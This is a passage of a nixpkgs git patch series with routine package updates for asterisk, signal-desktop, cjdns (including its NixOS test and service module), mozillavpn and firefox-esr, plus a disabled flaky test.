-      url = "https://raw.githubusercontent.com/asterisk/third-party/master/pjproject/2.14.1/pjproject-2.14.1.tar.bz2";
-      hash = "sha256-MtsK8bOc0fT/H/pUydqK/ahMIVg8yiRDt3TSM1uhUFQ=";
-    }
-    // {
-      pjsip_patches = [ ];
-    };
+  pjproject_2_14_1 = fetchurl {
+    url = "https://raw.githubusercontent.com/asterisk/third-party/master/pjproject/2.14.1/pjproject-2.14.1.tar.bz2";
+    hash = "sha256-MtsK8bOc0fT/H/pUydqK/ahMIVg8yiRDt3TSM1uhUFQ=";
+  };
 
-  mp3-202 = fetchsvn {
+  pjproject_2_15_1 = fetchurl {
+    url = "https://raw.githubusercontent.com/asterisk/third-party/master/pjproject/2.15.1/pjproject-2.15.1.tar.bz2";
+    hash = "sha256-WLuDzsTUMfSNAG5FXYIWaEUPjPa2yV8JDe9HBi+jpgw=";
+  };
+
+  mp3-204 = fetchsvn {
     url = "http://svn.digium.com/svn/thirdparty/mp3/trunk";
-    rev = "202";
-    sha256 = "1s9idx2miwk178sa731ig9r4fzx4gy1q8xazfqyd7q4lfd70s1cy";
+    rev = "204";
+    hash = "sha256-Viec0LwFPfR7ewy+2hc/LIUR1LiDZfYos3RUbc+tyNk=";
   };
 
   asterisk-opus = fetchFromGitHub {
@@ -183,7 +184,7 @@ let
     repo = "asterisk-opus";
     # No releases, points to master as of 2022-04-06
     rev = "a959f072d3f364be983dd27e6e250b038aaef747";
-    sha256 = "sha256-CASlTvTahOg9D5jccF/IN10LP/U8rRy9BFCSaHGQfCw=";
+    hash = "sha256-CASlTvTahOg9D5jccF/IN10LP/U8rRy9BFCSaHGQfCw=";
   };
 
   # auto-generated by update.py
@@ -191,14 +192,13 @@ let
     _:
     { version, sha256 }:
     let
-      pjsip = pjproject_2_14_1;
+      pjsip = if lib.versionAtLeast version "20" then pjproject_2_15_1 else pjproject_2_14_1;
     in
     common {
       inherit version sha256;
-      inherit (pjsip) pjsip_patches;
       externals = {
         "externals_cache/${pjsip.name}" = pjsip;
-        "addons/mp3" = mp3-202;
+        "addons/mp3" = mp3-204;
       };
     }
   ) (lib.importJSON ./versions.json);

From 2103b52dd485f167b3b59f072934fbedbf276802 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Wed, 30 Jul 2025 18:34:03 +0200
Subject: [PATCH 3148/4511] asterisk: expose version 22

(cherry picked from commit 055527e4b0a91453fb7b3b0c3eb2ca0edc47657b)
---
 pkgs/top-level/all-packages.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 228dfb033977..e3be6c08d568 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -10339,6 +10339,7 @@ with pkgs;
     asterisk-lts
     asterisk_18
     asterisk_20
+    asterisk_22
     ;
 
   asterisk-ldap = lowPrio (asterisk.override { ldapSupport = true; });

From 93132b34ea70f649b00d3c11cb49f11f5f0bbe42 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 2 Aug 2025 11:42:13 -0400
Subject: [PATCH 3149/4511] open-policy-agent: disable flaky test

This was first observed in https://github.com/NixOS/nixpkgs/pull/415552#issuecomment-2980863449.

Since this test failed for me 3 of 4 times on Linux (2/2 on GitHub Actions, 1/2 on OfBorg),
probably better to disable it.

(cherry picked from commit fd9c7557a9016d6efe021761b0362503c3a942df)
---
 pkgs/by-name/op/open-policy-agent/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/op/open-policy-agent/package.nix b/pkgs/by-name/op/open-policy-agent/package.nix
index 51aee9311bcf..6138c0e579f3 100644
--- a/pkgs/by-name/op/open-policy-agent/package.nix
+++ b/pkgs/by-name/op/open-policy-agent/package.nix
@@ -53,6 +53,9 @@ buildGoModule (finalAttrs: {
         # This test depends on the metrics available in go not changing. This is a bit
         # too unstable for us updating go independently.
         "TestJSONSerialization"
+
+        # Flaky
+        "TestGraphQLParseSchemaAlloc"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # Skip tests that require network, not available in the darwin sandbox

From b688c0aae68efb1153b15a414472126445749bee Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 3 Aug 2025 09:39:15 -0400
Subject: [PATCH 3150/4511] signal-desktop: remove useFetchCargoVendor usage

(cherry picked from commit 398b16e16cc688d8ffcf820d1ec50a55da44a108)
---
 pkgs/by-name/si/signal-desktop/libsignal-node.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/si/signal-desktop/libsignal-node.nix b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
index 4af072e02a88..5bcff1b97190 100644
--- a/pkgs/by-name/si/signal-desktop/libsignal-node.nix
+++ b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     tag = "v${finalAttrs.version}";
     hash = "sha256-8V+q28hv7LDsS3SdH27PVHtnAneB55xYqFkhRapkcOI=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-z8PbpE+kID+kOmlimuvxTrzoWpbWTKpP6HHnhZDATWM=";
 
   npmRoot = "node";

From cbd5574177a3be618decebfd50b5d05ad75f5924 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Thu, 31 Jul 2025 17:48:51 -0600
Subject: [PATCH 3151/4511] signal-desktop: 7.62.0 -> 7.64.0

https://github.com/signalapp/Signal-Desktop/releases/tag/v7.64.0
(cherry picked from commit fa7974487e51793455714e2369e1702bc9a13275)
---
 pkgs/by-name/si/signal-desktop/libsignal-node.nix |  8 ++++----
 pkgs/by-name/si/signal-desktop/package.nix        | 10 +++++-----
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/libsignal-node.nix b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
index 5bcff1b97190..95e1d952e4da 100644
--- a/pkgs/by-name/si/signal-desktop/libsignal-node.nix
+++ b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
@@ -24,23 +24,23 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "libsignal-node";
-  version = "0.76.0";
+  version = "0.76.7";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-8V+q28hv7LDsS3SdH27PVHtnAneB55xYqFkhRapkcOI=";
+    hash = "sha256-7UXOCgjZYOOMMnBk1pvORJVTClQo9vbhSteKBE5RHw8=";
   };
 
-  cargoHash = "sha256-z8PbpE+kID+kOmlimuvxTrzoWpbWTKpP6HHnhZDATWM=";
+  cargoHash = "sha256-beeR/tISks99+o/kdqaq96nznwoiNduyB/BBVvNTEn0=";
 
   npmRoot = "node";
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-npm-deps";
     inherit (finalAttrs) version src;
     sourceRoot = "${finalAttrs.src.name}/${finalAttrs.npmRoot}";
-    hash = "sha256-/DL3sQeeZO4l16/rx7BrWEUGUIAdHft+gO3oJ1WQJUE=";
+    hash = "sha256-nbGeT0Fyu9T/3EFoIDaAESIl9JOIOq2jC53GWU1Ofeo=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index cca79dc0b186..32c1ee7cc3a6 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.62.0";
+  version = "7.64.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-79Mh5jx7cSr8AVL/oqjuTWQ+DHmyXL19rKlbyNMySt0=";
+    hash = "sha256-jBSL9g7+lgyG4luKP84MaWfS+dniBzp3lRimgKtWrI8=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -120,15 +120,15 @@ stdenv.mkDerivation (finalAttrs: {
     fetcherVersion = 1;
     hash =
       if withAppleEmojis then
-        "sha256-r+MktwnhmZOUc1NMumrfkTpmUUHUXKB10XKSkxg3GYU="
+        "sha256-xAmIfTv270g6FoNPCauPBT2H3XTgK6MOjIIwRk0U9PY="
       else
-        "sha256-raCVDqhtTTsdIn1vjbKW+ULrBefD8+kgJkKHls90KNs=";
+        "sha256-Wmqu+tkoT13PEQ6QA2KczLtgbxgCWwZ6pNuE1klWLCk=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1752702364;
+    SOURCE_DATE_EPOCH = 1753917014;
   };
 
   preBuild = ''

From 0f737795114429940eaa13a4e486f71925037a18 Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Sun, 3 Aug 2025 15:41:36 +0200
Subject: [PATCH 3152/4511] cjdns: bring changes from master

---
 nixos/tests/cjdns.nix             | 168 +++++++++++++++---------------
 pkgs/by-name/cj/cjdns/package.nix |   1 -
 2 files changed, 83 insertions(+), 86 deletions(-)

diff --git a/nixos/tests/cjdns.nix b/nixos/tests/cjdns.nix
index 7fdb30a0abe6..52762f853e20 100644
--- a/nixos/tests/cjdns.nix
+++ b/nixos/tests/cjdns.nix
@@ -18,117 +18,115 @@ let
 
 in
 
-import ./make-test-python.nix (
-  { pkgs, ... }:
-  {
-    name = "cjdns";
-    meta = with pkgs.lib.maintainers; {
-      maintainers = [ ehmry ];
-    };
+{ pkgs, ... }:
+{
+  name = "cjdns";
+  meta = with pkgs.lib.maintainers; {
+    maintainers = [ ehmry ];
+  };
 
-    nodes = {
-      # Alice finds peers over over ETHInterface.
-      alice =
-        { ... }:
-        {
-          imports = [ basicConfig ];
+  nodes = {
+    # Alice finds peers over over ETHInterface.
+    alice =
+      { ... }:
+      {
+        imports = [ basicConfig ];
 
-          services.cjdns.ETHInterface.bind = "eth1";
+        services.cjdns.ETHInterface.bind = "eth1";
 
-          services.httpd.enable = true;
-          services.httpd.adminAddr = "foo@example.org";
-          networking.firewall.allowedTCPPorts = [ 80 ];
-        };
+        services.httpd.enable = true;
+        services.httpd.adminAddr = "foo@example.org";
+        networking.firewall.allowedTCPPorts = [ 80 ];
+      };
 
-      # Bob explicitly connects to Carol over UDPInterface.
-      bob =
-        { ... }:
+    # Bob explicitly connects to Carol over UDPInterface.
+    bob =
+      { ... }:
 
-        {
-          imports = [ basicConfig ];
+      {
+        imports = [ basicConfig ];
 
-          networking.interfaces.eth1.ipv4.addresses = [
-            {
-              address = "192.168.0.2";
-              prefixLength = 24;
-            }
-          ];
+        networking.interfaces.eth1.ipv4.addresses = [
+          {
+            address = "192.168.0.2";
+            prefixLength = 24;
+          }
+        ];
 
-          services.cjdns = {
-            UDPInterface = {
-              bind = "0.0.0.0:1024";
-              connectTo."192.168.0.1:1024" = {
-                password = carolPassword;
-                publicKey = carolPubKey;
-              };
+        services.cjdns = {
+          UDPInterface = {
+            bind = "0.0.0.0:1024";
+            connectTo."192.168.0.1:1024" = {
+              password = carolPassword;
+              publicKey = carolPubKey;
             };
           };
         };
+      };
 
-      # Carol listens on ETHInterface and UDPInterface,
-      # but knows neither Alice or Bob.
-      carol =
-        { ... }:
-        {
-          imports = [ basicConfig ];
+    # Carol listens on ETHInterface and UDPInterface,
+    # but knows neither Alice or Bob.
+    carol =
+      { ... }:
+      {
+        imports = [ basicConfig ];
 
-          environment.etc."cjdns.keys".text = ''
-            CJDNS_PRIVATE_KEY=${carolKey}
-            CJDNS_ADMIN_PASSWORD=FOOBAR
-          '';
+        environment.etc."cjdns.keys".text = ''
+          CJDNS_PRIVATE_KEY=${carolKey}
+          CJDNS_ADMIN_PASSWORD=FOOBAR
+        '';
 
-          networking.interfaces.eth1.ipv4.addresses = [
-            {
-              address = "192.168.0.1";
-              prefixLength = 24;
-            }
-          ];
+        networking.interfaces.eth1.ipv4.addresses = [
+          {
+            address = "192.168.0.1";
+            prefixLength = 24;
+          }
+        ];
 
-          services.cjdns = {
-            authorizedPasswords = [ carolPassword ];
-            ETHInterface.bind = "eth1";
-            UDPInterface.bind = "192.168.0.1:1024";
-          };
-          networking.firewall.allowedUDPPorts = [ 1024 ];
+        services.cjdns = {
+          authorizedPasswords = [ carolPassword ];
+          ETHInterface.bind = "eth1";
+          UDPInterface.bind = "192.168.0.1:1024";
         };
+        networking.firewall.allowedUDPPorts = [ 1024 ];
+      };
 
-    };
+  };
 
-    testScript = ''
-      import re
+  testScript = ''
+    import re
 
-      start_all()
+    start_all()
 
-      alice.wait_for_unit("cjdns.service")
-      bob.wait_for_unit("cjdns.service")
-      carol.wait_for_unit("cjdns.service")
+    alice.wait_for_unit("cjdns.service")
+    bob.wait_for_unit("cjdns.service")
+    carol.wait_for_unit("cjdns.service")
 
 
-      def cjdns_ip(machine):
-          res = machine.succeed("ip -o -6 addr show dev tun0")
-          ip = re.split("\s+|/", res)[3]
-          machine.log("has ip {}".format(ip))
-          return ip
+    def cjdns_ip(machine):
+        res = machine.succeed("ip -o -6 addr show dev tun0")
+        ip = re.split("\s+|/", res)[3]
+        machine.log("has ip {}".format(ip))
+        return ip
 
 
-      alice_ip6 = cjdns_ip(alice)
-      bob_ip6 = cjdns_ip(bob)
-      carol_ip6 = cjdns_ip(carol)
+    alice_ip6 = cjdns_ip(alice)
+    bob_ip6 = cjdns_ip(bob)
+    carol_ip6 = cjdns_ip(carol)
 
-      # ping a few times each to let the routing table establish itself
+    # ping a few times each to let the routing table establish itself
 
-      alice.succeed("ping -c 4 {}".format(carol_ip6))
-      bob.succeed("ping -c 4 {}".format(carol_ip6))
+    alice.succeed("ping -c 4 {}".format(carol_ip6))
+    bob.succeed("ping -c 4 {}".format(carol_ip6))
 
-      carol.succeed("ping -c 4 {}".format(alice_ip6))
-      carol.succeed("ping -c 4 {}".format(bob_ip6))
+    carol.succeed("ping -c 4 {}".format(alice_ip6))
+    carol.succeed("ping -c 4 {}".format(bob_ip6))
 
-      alice.succeed("ping -c 4 {}".format(bob_ip6))
-      bob.succeed("ping -c 4 {}".format(alice_ip6))
+    alice.succeed("ping -c 4 {}".format(bob_ip6))
+    bob.succeed("ping -c 4 {}".format(alice_ip6))
 
-      alice.wait_for_unit("httpd.service")
+    alice.wait_for_unit("httpd.service")
 
-      bob.succeed("curl --fail -g http://[{}]".format(alice_ip6))
-    '';
-  }
-)
+    bob.succeed("curl --fail -g http://[{}]".format(alice_ip6))
+  '';
+}
diff --git a/pkgs/by-name/cj/cjdns/package.nix b/pkgs/by-name/cj/cjdns/package.nix
index 305566a15a3a..e095b3f3b35f 100644
--- a/pkgs/by-name/cj/cjdns/package.nix
+++ b/pkgs/by-name/cj/cjdns/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LJEKjhyAsK6b7mKObX8tNJdKt53iagMD/YLzoY5GVPw=";
 
   nativeBuildInputs = [

From 1aecbd9daac22ed6c390572378a108290f0436e1 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Thu, 17 Jul 2025 20:12:38 +0200
Subject: [PATCH 3153/4511] cjdns: 21.4 -> 22.1

(cherry picked from commit 15e8c2a2f2d222a50c23f9fdfcea5ca27637bba1)
---
 pkgs/by-name/cj/cjdns/package.nix | 40 +++++++++++++++++++++----------
 1 file changed, 28 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/cj/cjdns/package.nix b/pkgs/by-name/cj/cjdns/package.nix
index e095b3f3b35f..5c90ca7b4714 100644
--- a/pkgs/by-name/cj/cjdns/package.nix
+++ b/pkgs/by-name/cj/cjdns/package.nix
@@ -2,11 +2,10 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   rustPlatform,
   nodejs,
   which,
-  python3,
-  libuv,
   util-linux,
   nixosTests,
   libsodium,
@@ -16,26 +15,34 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "cjdns";
-  version = "21.4";
+  version = "22.1";
 
   src = fetchFromGitHub {
     owner = "cjdelisle";
     repo = "cjdns";
-    rev = "cjdns-v${version}";
-    sha256 = "sha256-vI3uHZwmbFqxGasKqgCl0PLEEO8RNEhwkn5ZA8K7bxU=";
+    tag = "cjdns-v${version}";
+    hash = "sha256-0imQrkcvIA+2Eq/zlC65USMR7T3OUKwQxrB1KtVexyU=";
   };
 
   patches = [
     (replaceVars ./system-libsodium.patch {
       libsodium_include_dir = "${libsodium.dev}/include";
     })
+    # Remove mkpasswd since it is failing the build
+    (fetchpatch {
+      url = "https://github.com/cjdelisle/cjdns/commit/6391dba3f5fdab45df4b4b6b71dbe9620286ce32.patch";
+      hash = "sha256-XVA4tdTVMLrV6zuGoBCkOgQq6NXh0x7u8HgmaxFeoRI=";
+    })
+    (fetchpatch {
+      url = "https://github.com/cjdelisle/cjdns/commit/436d9a9784bae85734992c2561c778fbd2f5ac32.patch";
+      hash = "sha256-THcYNGVbMx/xf3/5UIxEhz3OlODE0qiYgDBOlHunhj8=";
+    })
   ];
 
-  cargoHash = "sha256-LJEKjhyAsK6b7mKObX8tNJdKt53iagMD/YLzoY5GVPw=";
+  cargoHash = "sha256-f96y6ZW0HxC+73ts5re8GIo2aigQgK3gXyF7fMrcJ0o=";
 
   nativeBuildInputs = [
     which
-    python3
     nodejs
     pkg-config
   ]
@@ -43,10 +50,7 @@ rustPlatform.buildRustPackage rec {
     # for flock
     lib.optional stdenv.hostPlatform.isLinux util-linux;
 
-  buildInputs = [
-    libuv
-    libsodium
-  ];
+  buildInputs = [ libsodium ];
 
   env.SODIUM_USE_PKG_CONFIG = 1;
   env.NIX_CFLAGS_COMPILE = toString (
@@ -61,10 +65,22 @@ rustPlatform.buildRustPackage rec {
     ]
   );
 
+  cargoTestFlags = [
+    # don't run doctests since they fail with "cannot find type `Ctx` in this scope"
+    "--lib"
+    "--bins"
+    "--tests"
+  ];
+
+  checkFlags = [
+    # Tests don't seem to work - "called `Result::unwrap()` on an `Err` value: DecryptErr: NO_SESSION"
+    "--skip=crypto::crypto_auth::tests::test_wireguard_iface_encrypt_decrypt"
+    "--skip=crypto::crypto_auth::tests::test_wireguard_iface_encrypt_decrypt_with_auth"
+  ];
+
   passthru.tests.basic = nixosTests.cjdns;
 
   meta = with lib; {
-    broken = true; # outdated, incompatible with supported python versions
     homepage = "https://github.com/cjdelisle/cjdns";
     description = "Encrypted networking for regular people";
     license = licenses.gpl3Plus;

From afc55247219a54542546a05e54146ea7caa553e0 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Sun, 27 Jul 2025 13:35:51 +0200
Subject: [PATCH 3154/4511] nixos/cjdns: update for cjdns 22.1 compatibility

(cherry picked from commit 7476494b3b16a4861035ef4a876d47050b7f1505)
---
 nixos/modules/services/networking/cjdns.nix |  4 ++--
 nixos/tests/cjdns.nix                       | 14 +++++++-------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/nixos/modules/services/networking/cjdns.nix b/nixos/modules/services/networking/cjdns.nix
index 1b9f53c9b28a..43ea76d5d710 100644
--- a/nixos/modules/services/networking/cjdns.nix
+++ b/nixos/modules/services/networking/cjdns.nix
@@ -49,7 +49,7 @@ let
         k: v:
         lib.optionalString (
           v.hostname != ""
-        ) "echo $(${pkgs.cjdns}/bin/publictoip6 ${v.publicKey}) ${v.hostname}"
+        ) "echo $(${pkgs.cjdns}/bin/cjdnstool util key2ip6 ${v.publicKey}) ${v.hostname}"
       ) (cfg.ETHInterface.connectTo // cfg.UDPInterface.connectTo)
     )}
   '';
@@ -268,7 +268,7 @@ in
 
         if [ -z "$CJDNS_PRIVATE_KEY" ]; then
             shopt -s lastpipe
-            ${pkg}/bin/makekeys | { read private ipv6 public; }
+            ${pkg}/bin/cjdnstool util keygen | { read private ipv6 public; }
 
             install -m 600 <(echo "CJDNS_PRIVATE_KEY=$private") /etc/cjdns.keys
             install -m 444 <(echo -e "CJDNS_IPV6=$ipv6\nCJDNS_PUBLIC_KEY=$public") /etc/cjdns.public
diff --git a/nixos/tests/cjdns.nix b/nixos/tests/cjdns.nix
index 52762f853e20..4bff3b15035f 100644
--- a/nixos/tests/cjdns.nix
+++ b/nixos/tests/cjdns.nix
@@ -105,7 +105,7 @@ in
 
     def cjdns_ip(machine):
         res = machine.succeed("ip -o -6 addr show dev tun0")
-        ip = re.split("\s+|/", res)[3]
+        ip = re.split("\\s+|/", res)[3]
         machine.log("has ip {}".format(ip))
         return ip
 
@@ -116,14 +116,14 @@ in
 
     # ping a few times each to let the routing table establish itself
 
-    alice.succeed("ping -c 4 {}".format(carol_ip6))
-    bob.succeed("ping -c 4 {}".format(carol_ip6))
+    alice.wait_until_succeeds("ping -c 4 {}".format(carol_ip6))
+    bob.wait_until_succeeds("ping -c 4 {}".format(carol_ip6))
 
-    carol.succeed("ping -c 4 {}".format(alice_ip6))
-    carol.succeed("ping -c 4 {}".format(bob_ip6))
+    carol.wait_until_succeeds("ping -c 4 {}".format(alice_ip6))
+    carol.wait_until_succeeds("ping -c 4 {}".format(bob_ip6))
 
-    alice.succeed("ping -c 4 {}".format(bob_ip6))
-    bob.succeed("ping -c 4 {}".format(alice_ip6))
+    alice.wait_until_succeeds("ping -c 4 {}".format(bob_ip6))
+    bob.wait_until_succeeds("ping -c 4 {}".format(alice_ip6))
 
     alice.wait_for_unit("httpd.service")
 

From 581e95089f09d54bda2818234a99035dc62484b9 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Thu, 17 Jul 2025 20:13:20 +0200
Subject: [PATCH 3155/4511] cjdns: remove usage of with lib

(cherry picked from commit 0639f762d9ddff0032975235dff17f89a2a17006)
---
 pkgs/by-name/cj/cjdns/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/cj/cjdns/package.nix b/pkgs/by-name/cj/cjdns/package.nix
index 5c90ca7b4714..8334caec4890 100644
--- a/pkgs/by-name/cj/cjdns/package.nix
+++ b/pkgs/by-name/cj/cjdns/package.nix
@@ -80,11 +80,11 @@ rustPlatform.buildRustPackage rec {
 
   passthru.tests.basic = nixosTests.cjdns;
 
-  meta = with lib; {
+  meta = {
     homepage = "https://github.com/cjdelisle/cjdns";
     description = "Encrypted networking for regular people";
-    license = licenses.gpl3Plus;
-    maintainers = with maintainers; [ ehmry ];
-    platforms = platforms.linux;
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ ehmry ];
+    platforms = lib.platforms.linux;
   };
 }

From 366c877654dbcda0d4d6767360712f6625c449e2 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 23 Jul 2025 11:30:15 +0200
Subject: [PATCH 3156/4511] cjdns: enable darwin support

(cherry picked from commit 4b5c5664cc66ff707cb09431d00ad528cc85950f)
---
 pkgs/by-name/cj/cjdns/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/cj/cjdns/package.nix b/pkgs/by-name/cj/cjdns/package.nix
index 8334caec4890..34199ed5b181 100644
--- a/pkgs/by-name/cj/cjdns/package.nix
+++ b/pkgs/by-name/cj/cjdns/package.nix
@@ -85,6 +85,6 @@ rustPlatform.buildRustPackage rec {
     description = "Encrypted networking for regular people";
     license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [ ehmry ];
-    platforms = lib.platforms.linux;
+    platforms = lib.platforms.linux ++ lib.platforms.darwin;
   };
 }

From 5422ce505834d27a0fba9ea38afc2c9201f3d51d Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 23 Jul 2025 22:18:34 +0200
Subject: [PATCH 3157/4511] cjdns-tools: enable darwin support

(cherry picked from commit ac71292aa1deb1df1914029f45b1321d647da21a)
---
 pkgs/by-name/cj/cjdns-tools/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/cj/cjdns-tools/package.nix b/pkgs/by-name/cj/cjdns-tools/package.nix
index 9e68412928e6..90ab4d61ae82 100644
--- a/pkgs/by-name/cj/cjdns-tools/package.nix
+++ b/pkgs/by-name/cj/cjdns-tools/package.nix
@@ -42,7 +42,7 @@ stdenv.mkDerivation {
     description = "Tools for cjdns managment";
     license = licenses.gpl3Plus;
     maintainers = [ ];
-    platforms = platforms.linux;
+    platforms = platforms.linux ++ platforms.darwin;
     mainProgram = "cjdns-tools";
   };
 }

From 38ffa481f21afb6c23c1d909c0893eecff628469 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 23 Jul 2025 22:18:59 +0200
Subject: [PATCH 3158/4511] cjdns-tools: remove usage of with lib

(cherry picked from commit 72626fff03ab539951e0f0855acac2cad232c477)
---
 pkgs/by-name/cj/cjdns-tools/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/cj/cjdns-tools/package.nix b/pkgs/by-name/cj/cjdns-tools/package.nix
index 90ab4d61ae82..43c2fb28cafb 100644
--- a/pkgs/by-name/cj/cjdns-tools/package.nix
+++ b/pkgs/by-name/cj/cjdns-tools/package.nix
@@ -37,12 +37,12 @@ stdenv.mkDerivation {
     cp -r node_modules $out/node_modules
   '';
 
-  meta = with lib; {
+  meta = {
     homepage = "https://github.com/cjdelisle/cjdns";
     description = "Tools for cjdns managment";
-    license = licenses.gpl3Plus;
+    license = lib.licenses.gpl3Plus;
     maintainers = [ ];
-    platforms = platforms.linux ++ platforms.darwin;
+    platforms = lib.platforms.linux ++ lib.platforms.darwin;
     mainProgram = "cjdns-tools";
   };
 }

From ef25968c8a9f26f33e3d5fe7740ea19ba12fad80 Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Sat, 26 Jul 2025 20:25:29 -0700
Subject: [PATCH 3159/4511] =?UTF-8?q?mozillavpn:=202.29.0=20=E2=86=92=202.?=
 =?UTF-8?q?30.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit 222178f5b2c6c9926137855a36373e942ac14ab3)
---
 pkgs/by-name/mo/mozillavpn/package.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/mozillavpn/package.nix b/pkgs/by-name/mo/mozillavpn/package.nix
index 4fc9428ab227..9b8bf69fa8a2 100644
--- a/pkgs/by-name/mo/mozillavpn/package.nix
+++ b/pkgs/by-name/mo/mozillavpn/package.nix
@@ -22,13 +22,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mozillavpn";
-  version = "2.29.0";
+  version = "2.30.0";
   src = fetchFromGitHub {
     owner = "mozilla-mobile";
     repo = "mozilla-vpn-client";
     tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-Oh3qV5/fQNLjv3qnhRrgRV0d+homlGmEpTSeou3lZfE=";
+    hash = "sha256-dwVgwEs1prEXOYuYlO1m5lJD5AKolW0Stj2HOZC+Y+o=";
   };
   patches = [ ];
 
@@ -45,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) src patches;
-    hash = "sha256-Flsa93Nko/sHr9z+YW7xDFMVLOzJE4oJFAl841gpPpw=";
+    hash = "sha256-dap2t7nINWaTTahiPUFVkgAlkDuVt0w0mz13ycqwLcI=";
   };
 
   buildInputs = [
@@ -90,6 +90,8 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail '${"$"}{SYSTEMD_UNIT_DIR}' "$out/lib/systemd/system"
 
     ln -s '${finalAttrs.netfilter.goModules}' linux/netfilter/vendor
+
+    patchShebangs scripts/utils/xlifftool.py
   '';
 
   cmakeFlags = [

From dda27a7d18da81d8e92effa31a28e354b5d61287 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 3 Aug 2025 16:27:47 +0200
Subject: [PATCH 3160/4511] firefox-esr: migrate to 140 ESR

(cherry picked from commit 1f33658aa9a0c848d06c042c193984eb0456e920)
---
 pkgs/top-level/all-packages.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index e3be6c08d568..434eb08f7c60 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -12500,7 +12500,7 @@ with pkgs;
           buildMozillaMach
           ;
       };
-  firefox-esr-unwrapped = firefox-esr-128-unwrapped;
+  firefox-esr-unwrapped = firefox-esr-140-unwrapped;
 
   firefox = wrapFirefox firefox-unwrapped { };
   firefox-beta = wrapFirefox firefox-beta-unwrapped { };
@@ -12518,7 +12518,7 @@ with pkgs;
     wmClass = "firefox-esr";
     icon = "firefox-esr";
   };
-  firefox-esr = firefox-esr-128;
+  firefox-esr = firefox-esr-140;
 
   firefox-bin-unwrapped = callPackage ../applications/networking/browsers/firefox-bin {
     inherit (firefox-unwrapped.passthru) applicationName;

From e38609249c1ade9b981957f09c26087a9143e10d Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
